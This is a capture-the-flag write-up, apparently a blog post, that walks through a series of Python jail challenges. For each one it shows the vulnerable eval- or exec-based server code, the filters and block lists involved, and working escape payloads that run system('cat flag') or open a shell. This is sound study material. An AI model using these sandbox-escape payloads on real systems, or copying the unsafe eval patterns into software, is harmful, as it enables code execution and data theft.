PyJail
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WriteUp
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JBNRZ

1360 字
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43 分钟
本文最后更新于 352 天前，其中的信息可能已经有所发展或是发生改变。

NSSCTF jail level 0

题解

  • server.py
WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
  • payload
__import__('os').system('cat flag')
open('flag').read()

NSSCTF jail level 1

题解

  • server.py
def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • exp
a = "__import__('os').system('cat flag')"
exp = ""
for i in a:
    exp += f"chr({ord(i)})+"
print(f"eval({exp[:-1]})")
  • payload
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))

NSSCTF jail level 2

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
eval(input())
__import__("os").system("cat flag")

NSSCTF jail level 2.5

题解

  • server.py
#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
breakpoint()
__import__('os').system('cat flag')

NSSCTF jail level 3

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
help()
+
!/bin/sh flag

NSSCTF jail level 4

题解

  • server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    print(not_allowed)
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
while True:
    try:
        input_data = input("> ")
        if filter(input_data):
            print("Oh hacker!")
        print('Answer: {}'.format(eval_func(input_data)))
    except Exception as e:
        print(e)
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read() #  ./flag

NSSCTF jail level4.0.5

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _    ___   _____
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()

NSSCTF jail level 4.1

题解

  • server.py
Answer: #No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _  __
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
  • payload
my_eval_func_ABDC8732(my_input_func_001EC9GP())
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")
cat f*

NSSCTF jail level 4.3

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`+')
    return any(c in not_allowed for c in s)

def main():
    WELCOME = '''
  _                _                           _       _ _   _                _ _  _   ____
 | |              (_)                         (_)     (_) | | |              | | || | |___ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ <
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/
              __/ |                          _/ |
             |___/                          |__/

    '''

    print(WELCOME)

    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
    input_data = my_input_func_000FDCAB("> ")
    if filter(input_data):
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
    main()
  • payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())

NSSCTF jail level 5

题解

  • server.py
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
    WELCOME = '''
  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
    print(WELCOME)
    print("It's so easy challenge!")
    print("Seems flag into the dir()")
    repl()
def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)
if __name__ == '__main__':
    main()
  • load_flag.py
class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"
class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())
  • payload
''.join(my_flag.flag_level5)
NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
breakpoint()
__import__('os').system('cat *')
flag=NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
my_flag.flag_level5.index('NSSCTF{*') #爆破

NSSCTF jail level 6

题解

  • server.py
import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()
  • 非预期
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)
  • 预期
exec("globals()['__builtins__'].set=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")

NSSCTF jail level 7

题解

  • server.py
import ast
import sys
import os

WELCOME = '''

    _       _ _   _                _                         _                _ ______
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/
  _/ |                        __/ |
 |__/                        |___/

'''

def verify_ast_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
        print(f"ERROR: Banned statement {x}")
        return False
  return True


def exexute_code(my_source_code):
  print("Pls input your code: (last line must contain only --HNCTF)")
  while True:
    line = sys.stdin.readline()
    if line.startswith("--HNCTF"):
      break
    my_source_code += line

  tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
  if verify_ast_secure(tree_check):
    print("check is passed!now the result is:")
    compiled_code = compile(my_source_code, "input_code.py", 'exec')
    exec(compiled_code)
  print("Press any key to continue")
  sys.stdin.readline()


while True:
  os.system("clear")
  print(WELCOME)
  print("=================================================================================================")
  print("==           Welcome to the calc jail beginner level7,It's AST challenge                       ==")
  print("==           Menu list:                                                                        ==")
  print("==             [G]et the blacklist AST                                                         ==")
  print("==             [E]xecute the python code                                                       ==")
  print("==             [Q]uit jail challenge                                                           ==")
  print("=================================================================================================")
  ans = (sys.stdin.readline().strip()).lower()
  if ans == 'g':
     print("=================================================================================================")
     print("==        Black List AST:                                                                      ==")
     print("==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==")
     print("==                        Sub,Mult,Div,Del'                                                    ==")
     print("=================================================================================================")
     print("Press any key to continue")
     sys.stdin.readline()
  elif ans == 'e':
    my_source_code = ""
    exexute_code(my_source_code)
  elif ans == 'q':
    print("Bye")
    quit()
  else:
    print("Unknown options!")
    quit()
  • payload
@exec
@input
class A:
    pass
--HNCTF

__import__('os').system('cat flag')

NSSCTF s@Fe safeeval

题解

  • server.py
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval

# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
    'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
    'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
    'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
    'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
    ]

_expr_codes = _const_codes + [
    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
    'BINARY_OR',
    ]

blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

TURING_PROTECT_SAFE = True

banned = '''
    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]
'''

code = '''
    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)
'''

WELCOME = '''
              ______                __                     _
        ____ |  ____|              / _|                   | |
  ___  / __ \| |__ ___   ___  __ _| |_ ___  _____   ____ _| |
 / __|/ / _` |  __/ _ \ / __|/ _` |  _/ _ \/ _ \ \ / / _` | |
 \__ \ | (_| | | |  __/ \__ \ (_| | ||  __/  __/\ V / (_| | |
 |___/\ \__,_|_|  \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
       \____/                                                                                                           
'''


def expr(n):
    if TURING_PROTECT_SAFE:
        m = safeeval.test_expr(n, blocklist_codes)
        return eval(m)
    else:
        return safeeval.expr(n)

try:
    print(WELCOME)
    print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off')
    print('Black List:')
    print(banned)
    print('some code:')
    print(code)
    while True:
        input_data = input('> ')
        try:
            print(expr(input_data))
        except Exception as err:
            traceback.print_exc(file=sys.stdout)
except EOFError as input_data:
    print()
  • payload
(lambda: os.system('/bin/sh'))()
cat flag

NSSCTF python2 jail

题解

  • server.py
WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
  • payload
__import__("os").system('cat flag')

NSSCTF jail lake lake lake

题解

  • server.py
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                    
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload
1

globals()

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'}

2

a34af94e88aed5c34fb5ccfe08cd14ab

__import__("os").system('cat flag')

NSSCTF jail l@ke l@ke l@ke

题解

  • server.py
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass
def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")
WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload

1 > help() > server > 1 > help() > server
第一次 help() 中查看 server 时，环境变为 server.py，此时可以查看变量
ke_9d38ee7f31d6126d = ’95c720690c2c83f0982ffba63ff87338′
NSSCTF{422d9d33-4c34-49ec-889c-a7fd7dd3f15a}

NSSCTF laKe laKe laKe

题解

  • server.py
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1

    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()
  • payload
list(__import__('sys')._getframe(1).f_locals.values())[1]

NSSCTF Side-channel/pyjail: tyPe Ch@nnEl

题解

  • server.py
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'
def my_safe_check(n):
    return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)
def my_safe_eval(m, my_func):
    if not my_safe_check(m):
        print("Hacker!!!!")
    else:
        try:
            print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
        except:
            print("Try again!")
if __name__ == "__main__":
    my_safe_eval(input("Payload:"), type)
  • 题目分析

eval 的执行环境很干净，啥都没有，能用的只有数据类型的初始属性，并且所有魔法方法都不能用，意味着全程只能用 flag 中存在的东西操作 flag

dir('')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
  • 新知识++

True == 1 False == 0 可用此来判断 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper'

flag.join(flag).split(flag).pop().split().pop(flag.join(flag).split(flag).pop({num}).isdigit())

